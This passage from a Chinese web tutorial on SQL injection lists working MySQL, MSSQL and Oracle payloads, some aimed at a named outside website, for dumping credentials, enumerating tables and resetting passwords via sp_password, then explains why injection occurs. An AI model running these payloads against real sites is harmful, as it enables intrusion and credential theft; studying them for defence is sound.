然后开始试探数据库字段数、当前用户,如图14.
图14
http://192.168.115.131/cat.php?id=1 and (select * from (select(sleep(5)))lsrk)
http://192.168.115.131/cat.php?id=1%20UNION%20
SELECT%201,concat(login,%27:%27,password),4%20FROM%20users;’
接下来是用来测试是否存在基于时间的盲注和查询数据库管理员帐号密码的,拿到root账号后可以去网上破解.
msSQL
这个思路跟MySQL一样,只是需要msSQL的注释符和MySQL有所不同,前者支持–,后者支持#,如图15.
http://www.aquaservices.co.in/authorprofile.asp?id=13 order by 100–
Here comes the error : The order by position number 100 is out of range of the number of items
图15
http://www.aquaservices.co.in/authorprofile.asp?id=13 and 0=1 Union All Select 1,@@version,4,5,6,db_name(),8–
http://www.aquaservices.co.in/authorprofile.asp?id=13;exec master.dbo.sp_password null,password,username;–
这里还可以执行存储过程master.dbo.sp_password直接修改数据库账号密码呢.
Oracle
思路也差不多,不过语法上稍微复杂点,如果语法不太熟,有个技巧,可以用sqlmap去跑PoC,如图16,按照提醒去构造畸形输入.
获取数据库版本信息
and 1=2 union select null,null,(select banner from sys.v_$version where rownum=1) from dual
开始爆库
and 1=2 union select null,(select owner from all_tables where rownum=1) from dual
and 1=2 union select null,(select owner from all_table where rownum=1 and owner<>’第
一个库名’) from dual
and 1=2 union select null,(select table_name from user_tables where rownum=1) from
Dual
图16
MongoDB
上面讲的都是关系型数据库,非关系型数据库MongoDB这些是不是就安全了?不是的,如图17,密码还是明文保存的呢.
图17
四、为什么会发生数据库注入
经过上面数据库注入的攻击测试,相信大家再也不会心怀侥幸了,因为攻击成本很低,不是吗?那么,总结一下我们看到的,数据库注入发生的原因是什么?
1、透过现象看本质
SQL注入可以分为平台层注入和代码层注入.
前者由不安全的数据库配置或数据库平台的漏洞所致;
①不安全的数据库配置;②数据库平台存在漏洞;
后者由于开发对输入未进行细致过滤,从而执行非法数据查询.
①不当的类型处理;
②不合理的查询集处理;③不当的错误处理;
④转义字符处理不合适;⑤多个提交处理不当.
2、代码
首先,“信任,过犹不及”.很多时候,我们一直强调,站在开发者角度,用户是不可信任的,未过滤或验证用户输入以及输出数据,就是给自己挖坑.比如下面这个:
(编辑:开发网_开封站长网)
【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!
|